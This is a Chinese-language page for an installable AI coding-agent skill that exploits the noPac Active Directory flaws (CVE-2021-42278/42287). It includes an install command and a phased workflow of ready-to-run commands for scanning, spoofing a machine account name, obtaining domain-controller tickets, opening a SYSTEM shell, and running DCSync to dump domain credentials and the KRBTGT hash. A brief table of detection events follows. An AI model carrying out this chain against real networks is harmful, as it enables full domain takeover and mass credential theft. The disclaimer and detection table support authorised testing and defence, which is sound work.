关于 exploiting-nopac-cve-2021-42278-42287
面向经授权安全测试人员的 noPac 漏洞利用技能,涵盖 CVE-2021-42278 和 CVE-2021-42287 的检测、利用链与检测分析。也可用于实验环境演练和攻击链记录。
主要功能
- 01扫描 noPac 漏洞
- 02利用机器账户名称欺骗
- 03获取域控制器票据
- 04执行 DCSync 凭据转储
- 05整理检测指标与攻击证据
适用场景
- 01评估 Active Directory 域是否易受 noPac 攻击
- 02在隔离实验环境演练提权链
- 03分析恶意软件样本与攻击痕迹
- 04制定 noPac 检测规则
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill exploiting-nopac-cve-2021-42278-42287安装后在 Claude Code 中输入/exploiting-nopac-cve-2021-42278-42287确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
利用 noPac (CVE-2021-42278 / CVE-2021-42287)
法律声明: 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统进行使用是违法的,并可能违反计算机欺诈相关法律。
概述
noPac 是一个严重的漏洞利用链,结合了两个 Active Directory 漏洞:CVE-2021-42278(sAMAccountName 欺骗)和 CVE-2021-42287(KDC PAC 混淆)。二者结合,允许任何已通过身份验证的域用户提权至 Domain Admin 权限,可能在 60 秒内实现对整个域的完全攻陷。CVE-2021-42278 允许攻击者修改机器账户的 sAMAccountName 属性,使其与域控制器名称匹配(去掉结尾的 $)。CVE-2021-42287 利用了 Kerberos PAC 验证中的一个缺陷,即 KDC 在找不到被重命名的账户时,会回退到附加 $ 并为域控制器账户签发票据。Microsoft 已于 2021 年 11 月修复了这两个漏洞(KB5008380 和 KB5008602),但许多环境仍未打补丁。该漏洞利用由 cube0x0 和 Ridter 于 2021 年 12 月公开发布。
何时使用
- 在执行涉及利用 nopac cve 2021 42278 42287 的经授权安全测试时
- 在受控环境中分析恶意软件样本或攻击产物时
- 在开展红队演练或渗透测试项目时
- 在基于对攻击技术的理解构建检测能力时
前提条件
- 熟悉红队相关概念和工具
- 拥有用于安全执行的测试或实验环境访问权限
- 已安装所需依赖的 Python 3.8+
- 任何测试活动均需获得相应授权
目标
- 扫描目标域中的 noPac 漏洞(CVE-2021-42278/42287)
- 创建或利用具有修改后 sAMAccountName 的机器账户
- 利用 KDC PAC 混淆获取域控制器的 TGT
- 使用 DC 票据执行 DCSync 并转储域凭据
- 从标准域用户账户获取 Domain Admin 访问权限
- 记录完整的漏洞利用链及证据
MITRE ATT&CK 映射
- T1068 - 提权利用
- T1136.002 - 创建账户:域账户
- T1078.002 - 有效账户:域账户
- T1558 - 窃取或伪造 Kerberos 票据
- T1003.006 - OS 凭据转储:DCSync
工作流
阶段 1:漏洞扫描
- 使用 noPac 扫描器检查域是否存在漏洞:
# Using cube0x0's noPac scanner python3 scanner.py domain.local/user:'Password123' -dc-ip 10.10.10.1 # Using CrackMapExec module crackmapexec smb 10.10.10.1 -u user -p 'Password123' -M nopac - 验证 MachineAccountQuota(默认为 10,允许任何用户加入计算机):
# Check MachineAccountQuota via LDAP python3 -c " import ldap3 server = ldap3.Server('10.10.10.1') conn = ldap3.Connection(server, 'domain.local\\user', 'Password123', auto_bind=True) conn.search('DC=domain,DC=local', '(objectClass=domain)', attributes=['ms-DS-MachineAccountQuota']) print(conn.entries[0]['ms-DS-MachineAccountQuota']) "
阶段 2:使用 noPac 工具进行利用
- 运行完整的 noPac 漏洞利用链:
# Using cube0x0's noPac (gets a shell on the DC) python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap # Using Ridter's noPac (alternative implementation) python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ --impersonate administrator -dump - 该漏洞利用会自动:
- 创建新的机器账户(或使用现有账户)
- 将机器账户的 sAMAccountName 重命名为与 DC 匹配(例如 "DC01")
- 为被欺骗的账户名请求 TGT
- 恢复原始的 sAMAccountName
- 使用 S4U2self 获取冒充目标用户的服务票据
- KDC 找不到与 "DC01" 匹配的账户,回退到 "DC01$"(真正的 DC)
阶段 3:后渗透
- 使用获取的域控制器票据执行 DCSync:
# DCSync using secretsdump.py with the Kerberos ticket export KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass domain.local/[email protected] # Or directly through the noPac shell # The shell runs as SYSTEM on the DC - 或者,获取半交互式 shell:
python3 noPac.py domain.local/user:'Password123' -dc-ip 10.10.10.1 \ -dc-host DC01 -shell --impersonate administrator -use-ldap
阶段 4:手动利用步骤
- 创建机器账户:
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'AttackPass123' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' - 清除 SPN 并重命名 sAMAccountName:
# Rename machine account sAMAccountName to DC name (without $) renameMachine.py -current-name 'ATTACKPC$' -new-name 'DC01' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' - 为被欺骗的名称请求 TGT:
getTGT.py -dc-ip 10.10.10.1 domain.local/'DC01':'AttackPass123' - 恢复原始机器名称:
renameMachine.py -current-name 'DC01' -new-name 'ATTACKPC$' \ -dc-ip 10.10.10.1 domain.local/user:'Password123' - 使用 S4U2self 进行冒充:
export KRB5CCNAME=DC01.ccache getST.py -self -impersonate 'administrator' -altservice 'cifs/DC01.domain.local' \ -k -no-pass -dc-ip 10.10.10.1 domain.local/'ATTACKPC$'
工具与资源
| 工具 | 用途 | 平台 |
|---|---|---|
| noPac (cube0x0) | 自动化扫描器与利用工具 | Python |
| noPac (Ridter) | 另一种漏洞利用实现 | Python |
| Impacket | Kerberos 票据操作、DCSync | Python |
| CrackMapExec | 漏洞扫描模块 | Python |
| Rubeus | Windows Kerberos 票据操作 | Windows (.NET) |
| secretsdump.py | 后渗透凭据转储 | Python |
CVE 详情
| CVE | 描述 | CVSS | 补丁 |
|---|---|---|---|
| CVE-2021-42278 | sAMAccountName 欺骗(机器账户) | 7.5 | KB5008102 |
| CVE-2021-42287 | KDC PAC 混淆 / 权限提升 | 7.5 | KB5008380 |
检测特征
| 指标 | 检测方法 |
|---|---|
| 机器账户 sAMAccountName 变更 | 事件 4742(计算机账户已更改)且伴随 sAMAccountName 修改 |
| 新机器账户创建 | 事件 4741(计算机对象已创建) |
| 为不带尾部 $ 的账户请求 TGT | Kerberos 审计日志分析 |
| 来自非 DC 机器账户的 S4U2self 请求 | 事件 4769 且伴随异常服务票据请求 |
| 快速序列:创建账户、重命名、请求 TGT | 针对 noPac 攻击模式的 SIEM 关联规则 |
验证标准
- 已扫描域以检测 noPac 漏洞
- 已验证 MachineAccountQuota(默认 10)
- 漏洞利用成功执行(shell 或 DCSync)
- 已从标准用户获得 Domain Admin 权限
- 已执行 DCSync 以转储域凭据
- 已获取 KRBTGT 哈希以验证持久化
- 已记录攻击链并附带时间戳
- 已验证补丁状态(KB5008380、KB5008602)
评论
支持 Markdown